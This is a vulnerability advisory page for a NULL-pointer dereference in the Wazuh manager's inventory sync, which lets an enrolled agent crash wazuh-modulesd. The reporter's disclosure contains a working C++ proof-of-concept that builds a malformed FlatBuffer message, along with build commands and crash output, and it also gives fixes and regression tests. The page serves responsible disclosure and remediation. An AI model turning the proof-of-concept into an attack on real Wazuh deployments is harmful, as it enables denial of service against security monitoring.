Read the docs

NULL dereference in Wazuh inventory sync: enrolled agent crashes wazuh-modulesd

Priority MEDIUM 44CWE-476Published · Updated

Key facts

Attack vector
Network
Privileges required
Low
User interaction
None
Attack complexity
Low
Impact type
Denial of service
Confidentiality · integrity · availability
None · None · High
Fix status
Fixed

Attack profile from CVSS 3.1 · GHSA-6hxp-c9x3-qc7p. Fix status from GitHub. Impact type from CWE-476.

Summary

The manager-side Inventory Sync consumer in wazuh-manager reads the optional id field of a FlatBuffer DataValue message without checking it for null (CWE-476). An enrolled agent can send a message that passes verification but omits id, which makes wazuh-modulesd crash. The CVSS 3.1 score is 6.5 (Medium) with vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H, and the last known affected version is 5.0.0-beta1. CISA has not listed it in KEV.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

Description from the GitHub advisory

# GHSA Draft — Wazuh inventory_sync DataValue NULL dereference DoS ## Copy-paste GHSA fields **Title:** NULL dereference in Wazuh inventory_sync FlatBuffer DataValue handling allows enrolled agent to crash wazuh-modulesd **Severity:** Medium (Availability impact High; see scoring notes) **CVSS 3.1:** `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H` — 6.5 **CWE:** CWE-476: NULL Pointer Dereference **Affected product:** Wazuh Manager / `wazuh-modulesd` inventory sync **Affected versions:** Tested on `v5.0.0-beta2-90-g3adf4f8794` (`3adf4f87942705aa0ceeba1e145c259cc9dcd242`). Older/newer affected range should be confirmed by maintainers. **Patched versions:** Not known / not yet patched at time of report. **Attack vector summary:** A crafted, verifier-valid Inventory Sync FlatBuffer `DataValue` message from an enrolled/authorized agent can omit the optional `id` field. The manager-side consumer dereferences `data->id()` without checking for null and crashes `wazuh-modulesd`. --- ## Private report body Hi Wazuh maintainers, I found a NULL pointer dereference in the manager-side Inventory Sync FlatBuffer consumer. A crafted `DataValue` message can pass `VerifyMessageBuffer()` while omitting the optional `id` field. The consumer then calls `data->id()->string_view()` without checking whether `data->id()` is null, causing a SIGSEGV in `wazuh-modulesd`. This is **not an agent self-crash**. The crash occurs in the manager-side Inventory Sync processing path (`wazuh-modulesd`) when it processes a malformed-but-verifier-valid message that an enrolled/authorized agent can send. I tested this only in a local/lab environment and did not test any third-party deployments. If you confirm this as a security vulnerability, I would appreciate reporter credit and would be happy to coordinate on CVE assignment and disclosure. --- ## Summary The Inventory Sync FlatBuffer schema defines `DataValue.id` as an optional string. FlatBuffers therefore allows a `DataValue` table where `id` is omitted. Wazuh verifies the message with `VerifyMessageBuffer()` and checks only that `content_as_DataValue()` is not null. It does not validate that `data->id()` is present before dereferencing it. Vulnerable logic: ```cpp flatbuffers::Verifier verifier(reinterpret_cast<const uint8_t*>(value.data()), value.size()); if (Wazuh::SyncSchema::VerifyMessageBuffer(verifier)) { auto message = Wazuh::SyncSchema::GetMessage(value.data()); auto data = message->content_as_DataValue(); if (!data) { throw InventorySyncException("Invalid data message"); } thread_local std::string elementId; elementId.clear(); elementId.append(!res.context->clusterName.empty() ? res.context->clusterName : m_clusterName); elementId.append("_"); elementId.append(res.context->agentId); elementId.append("_"); elementId.append(data->id()->string_view()); // data->id() may be nullptr ``` Because `data->id()` can be null, the final line dereferences a null pointer and crashes the process. --- ## Tested environment - Repository: `https://github.com/wazuh/wazuh` - Tested commit: `3adf4f87942705aa0ceeba1e145c259cc9dcd242` - Git describe: `v5.0.0-beta2-90-g3adf4f8794` - Test date: 2026-05-30 UTC - Compiler used for harness: `g++ 11.4.0` locally and `g++ 13.3.0` on a second lab host - FlatBuffers headers/runtime used for the harness: 24.3.25 - Sanitizer: AddressSanitizer with `ASAN_OPTIONS=exitcode=42` --- ## Root cause ### 1. `DataValue.id` is optional in the schema In `src/shared_modules/utils/flatbuffers/schemas/inventorySync.fbs`: ```fbs table DataValue { seq: ulong; session: ulong; operation: Operation; id: string; index: string; data: [byte]; version: ulong; } ``` `id` is not marked `(required)`, so a missing `id` is valid FlatBuffers data. ### 2. The consumer treats `id` as mandatory without checking it In `src/wazuh_modules/inventory_sync/src/inventorySyncFacade.hpp`, the code validates the top-level FlatBuffer and checks `data`, but not `data->id()`: ```cpp auto data = message->content_as_DataValue(); if (!data) { throw InventorySyncException("Invalid data message"); } ... elementId.append(data->id()->string_view()); ``` If `id` is omitted, `data->id()` returns `nullptr`, and the process crashes when calling `string_view()`. --- ## Reproduction: minimal local harness The following harness uses the real generated schema and reproduces the vulnerable consumer logic. It constructs a `DataValue` message with a valid inventory-state index and valid JSON body, but intentionally omits only `id`. ```cpp // f5_missing_id_valid_index_data.cpp #include "flatbuffers/flatbuffers.h" #include "inventorySync_generated.h" #include <cstdio> #include <string> using namespace Wazuh::SyncSchema; int main() { flatbuffers::FlatBufferBuilder fbb; auto index = fbb.CreateString("wazuh-states-vulnerabilities-test"); const char json[] = "{}"; auto dataVec = fbb.CreateVector(reinterpret_cast<const int8_t*>(json), 2); DataValueBuilder dv(fbb); dv.add_seq(0); dv.add_session(1); dv.add_operation(Operation_Upsert); // dv.add_id(...) intentionally omitted dv.add_index(index); dv.add_data(dataVec); auto dvOff = dv.Finish(); auto msgOff = CreateMessage(fbb, MessageType_DataValue, dvOff.Union()); FinishMessageBuffer(fbb, msgOff); const uint8_t* buf = fbb.GetBufferPointer(); size_t len = fbb.GetSize(); printf("[*] Built DataValue with valid index+data but id OMITTED (%zu bytes)\n", len); flatbuffers::Verifier verifier(buf, len); if (!VerifyMessageBuffer(verifier)) { puts("[-] VerifyMessageBuffer rejected"); return 2; } puts("[+] VerifyMessageBuffer() PASSED"); auto message = GetMessage(buf); auto data = message->content_as_DataValue(); printf("[+] data=%p index=%p body=%p id=%p\n", (void*)data, (void*)data->index(), (void*)data->data(), (void*)data->id()); puts("[*] executing vulnerable data->id()->string_view()..."); fflush(stdout); std::string elementId; elementId.append(data->id()->string_view()); return 0; } ``` Example build command, assuming `inventorySync_generated.h` was generated from Wazuh's `inventorySync.fbs` with FlatBuffers 24.3.25: ```bash g++ -g -fsanitize=address -std=c++17 \ -I /path/to/flatbuffers-24.3.25/include \ -I . \ f5_missing_id_valid_index_data.cpp \ -o f5_missing_id_valid_index_data ASAN_OPTIONS=exitcode=42 ./f5_missing_id_valid_index_data ``` --- ## Observed result Local run output: ```text [*] Built DataValue with valid index+data but id OMITTED (112 bytes) [+] VerifyMessageBuffer() PASSED [+] data=0x51900000043c index=0x519000000458 body=0x519000000450 id=(nil) [*] executing vulnerable data->id()->string_view()... AddressSanitizer:DEADLYSIGNAL ================================================================= ==2203625==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 ==2203625==The signal is caused by a READ memory access. ==2203625==Hint: address points to the zero page. #0 0x5583c3fc7ff3 in flatbuffers::Vector<char, unsigned int>::size() const /tmp/flatbuffers-24-local/include/flatbuffers/vector.h:164 #1 0x5583c3fc59c3 in flatbuffers::String::string_view() const /tmp/flatbuffers-24-local/include/flatbuffers/string.h:32 #2 0x5583c3fc3b97 in main /tmp/wazuh-f5-localtest/f5_missing_id_valid_index_data.cpp:34 #3 0x7f571d459d8f (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f) #4 0x7f571d459e3f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x29e3f) #5 0x5583c3fc3524 in _start (/tmp/wazuh-f5-localtest/f5_missing_id_valid_index_data+0x3524) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /tmp/flatbuffers-24-local/include/flatbuffers/vector.h:164 in flatbuffers::Vector<char, unsigned int>::size() const ==2203625==ABORTING VALID_INDEX_DATA_MISSING_ID_EXIT=42 ``` This demonstrates that: 1. The crafted message is accepted by `VerifyMessageBuffer()`. 2. `content_as_DataValue()` returns a non-null `DataValue` object. 3. `index` and `data` are present. 4. `id` is omitted and therefore `data->id() == nullptr`. 5. The vulnerable dereference crashes the process. --- ## Additional minimal variant A smaller variant omitting `id`, `index`, and `data` also reproduces the crash: ```text [*] Built Message{DataValue} with id/index/data OMITTED (48 bytes) [+] VerifyMessageBuffer() PASSED — verifier-valid despite missing fields [+] content_as_DataValue() ok; data->id() = (nil) (nullptr => omitted) [*] executing line 1039: elementId.append(data->id()->string_view()) ... AddressSanitizer:DEADLYSIGNAL SUMMARY: AddressSanitizer: SEGV /tmp/flatbuffers/include/flatbuffers/vector.h:164 in flatbuffers::Vector<char, unsigned int>::size() const F5_EXIT=42 ``` The primary PoC above is stronger because it keeps `index` and `data` valid and omits only `id`. --- ## Impact A malicious or compromised enrolled/authorized agent that can send Inventory Sync messages may crash the manager-side `wazuh-modulesd` process by sending a verifier-valid `DataValue` without `id`. Expected impact: - Denial of service against manager-side Inventory Sync processing. - Potential disruption of modules handled by `wazuh-modulesd`, depending on deployment and restart behavior. - If the service is automatically restarted and the malformed message is sent repeatedly, this may create a crash loop. This report does **not** claim unauthenticated exploitation, arbitrary code execution, or full host compromise. The demonstrated impact is manager-side daemon crash / availability loss from an enrolled-agent precondition. --- ## Expected behavior Malformed semantic Inventory Sync data should be rejected gracefully. If `id` is required for constructing `elementId`, then messages missing `id` should be rejected or skipped before dereferencing. --- ## Actual behavior A `DataValue` without `id` is accepted by FlatBuffers verification and reaches: ```cpp elementId.append(data->id()->string_view()); ``` This dereferences a null pointer and crashes. --- ## Related public discussions / duplicate check I checked the public GitHub Security Advisories, public issues, and PRs for related terms including: - `inventory_sync` - `inventorySyncFacade` - `DataValue` - `FlatBuffer` - `VerifyMessageBuffer` - `data->id` - `wazuh-modulesd NULL` - `inventory sync DoS` I did not find a public advisory or issue for this exact root cause. Related but not duplicate: - `#36339` — Add configurable memory and disk safeguards to inventory sync - `#36469` — Safeguards to inventory sync These are related by component, but they appear focused on queue limits, global `DataValue` quota, downstream slowness, memory/disk safeguards, and index validation. They do not appear to add a required-field/null check for `DataValue.id` before `data->id()->string_view()`. The primary PoC in this report includes a valid `wazuh-states-*` index and valid JSON body, while omitting only `id`, to show that index validation alone does not address the null dereference. --- ## Suggested fixes Recommended options: 1. Treat `id`, and any other semantically mandatory `DataValue` fields, as required in the FlatBuffers schema if backward compatibility allows it. 2. Add explicit runtime validation before dereferencing optional FlatBuffer fields: ```cpp if (!data->id() || data->id()->string_view().empty()) { logWarn(LOGGER_DEFAULT_TAG, "InventorySyncFacade::start: skipping DataValue with missing id for session %llu", res.context->sessionId); continue; } ``` 3. Similarly validate `index` and `data` before use, especially for `Operation_Upsert` paths: ```cpp if (!data->index() || data->index()->string_view().empty()) { continue; } if (isUpsert && !data->data()) { continue; } ``` 4. Add regression tests with verifier-valid FlatBuffers messages omitting each optional field used by the consumer. --- ## Suggested regression tests At minimum, add tests for `DataValue` messages where: - `id` is omitted, `index` and `data` are valid. - `index` is omitted, `id` and `data` are valid. - `data` is omitted for `Operation_Upsert`, `id` and `index` are valid. - all optional fields are omitted. Expected result: the consumer rejects/skips these messages without crashing. --- ## Credit If confirmed, please credit: `Emre Koca` --- ## Disclosure timeline - 2026-05-30: Vulnerability verified in local/lab environment and reported privately via GitHub Security Advisory.

Why it matters now

Fix Fixed wazuh-manager: 5.0.0-beta3

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—wazuh-manager5.0.0-beta15.0.0-beta3Patch availableGHSA-6hxp-c9x3-qc7p
  • wazuh-manager Vendor— Affected 5.0.0-beta1 Fixed in 5.0.0-beta3 Patch available GHSA-6hxp-c9x3-qc7p

Remediation

Upgrade wazuh-manager to 5.0.0-beta3, the fixed version.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

  • Fix · GHSA-6hxp-c9x3-qc7p wazuh-manager Fixed in 5.0.0-beta3 Advisory →

Timeline

  1. 2026-11-12 Threatist record created from GHSA-6hxp-c9x3-qc7p

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences